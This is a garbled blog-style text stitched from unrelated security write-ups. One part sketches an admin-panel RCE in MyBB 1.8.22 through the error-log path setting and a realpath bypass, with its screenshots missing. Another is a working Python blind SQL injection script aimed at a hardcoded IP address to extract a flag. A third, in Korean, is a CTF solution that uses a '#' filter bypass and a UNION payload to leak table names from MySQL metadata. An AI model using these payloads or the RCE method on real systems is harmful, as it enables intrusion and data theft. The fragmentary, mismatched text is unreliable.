I'm going to write about RCE on the MyBB 1.8.22 Admin panel, which I've analyzed a lot over the past year Because ninja patch
If you look at the code above, check the value of the settings variable and run the log_error function.
If you look at the code above, checks the value of the settings variable and generates an error log file in that path.
If you look at the code in the picture above, after checking the input, After updating the data in the database, perform the rebuild_setting() function.
If you look at the code above, SELECT the value of the Settings Table, replace the dangerous string of data, and then run the file_put_content function
If you look at the MyBB admin panel, there is a place for setting up error log
If you can include the php code in the error, RCE is possible!
If you look at the code above, check the path using realpath function and pass if it is not false.
The realpath function checks if the path actually exists and returns the actual path by replacing the string "./","../", etc. as shown in the picture below.
However, the realpath function has the following tricks
By using this trick, the code for image 4 could be bypassed.
Exploit is as follows
Set as above.
Ninja Patch is a waste, but it was fun!
If you need any questions, please contact me on Twitter.
result ='' url = 'http://137.117.210.176:13372/' data = '''------WebKitFormBoundary8Jltb5vw5fWfSYS4 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
asdfasdfasdf ------WebKitFormBoundary8Jltb5vw5fWfSYS4--''' headers = {'Cookie' : 'PHPSESSID=yelang123;', 'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundary8Jltb5vw5fWfSYS4'} for x in range(1,10000): for i in range(32,128): payload = "templates/login.php?username=1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23&password=tlqkf12a".format(i,x); r = requests.post(url+payload,headers=headers,data=data) if "Try again!" not in r.text: result += chr(i) print(result) break; else: continue; print(result)
classes/Board.class.php 를 보면 GET['col']의 대한 내용을 정규식을 통해 Filter 합니다. 그러나 정규식에서 # 을 막지 않았고 바로 취약점을 찾을 수 있었습니다.
get_search_query 메서드는 3개의 인자를 받아 explode 함수로 | 문자열을 구분자로 배열로 변환 후 $column 배열을 count하여 그 만큼의 SQL을 실행해 주는데, 이때 위와 같이 "컬럼 = 검색할 문자열 연산자" 와 같은 형식으로 $result변수가 선언되어 return 됩니다.
이때 위와 같이 말씀드린것 처럼 column엔 test#%0a1) union ~~~%23 과 같은 형식으로 SQL Injection이 가능하지만
해당 CMS는 DB와 테이블을 생성할 때 10글자의 문자를 랜덤으로 생성하여 hex값으로 변환 후 테이블 이름앞에 랜덤값을 붙이는데 이 랜덤값은 brute force를 통해 값을 알아낼 수 없기 때문에 다른방법을 찾아보았습니다.
그러던중 해당 cms에 Connect 된 Mysql USER가 root라는걸 알아냈고 그후 mysql DB의 innodb_table_stats 테이블의 table_name 컬럼을 통해 Table 명을 알게되어 풀었습니다.
"?col=test#&search=) union select 1,(select table_name from mysql.innodb_table_stats limit 0,1),3,4,5#" 와 같은 쿼리를 통해 Table 명을 leak 할 수 있었고, 그후 flag를 읽어왔습니다.
그러나 출제자 님의 말씀을 통해 의도하지 않은 풀이라는것을 알게되었고 원래 의도된 풀이를 말씀해주셨습니다.
그리고 저는 "이 외의 다른 풀이가 있을수도 있겠다"라는 생각을 가지고 다른 Table 명을 릭하는 방법을 몇개 적어 보겠습니다.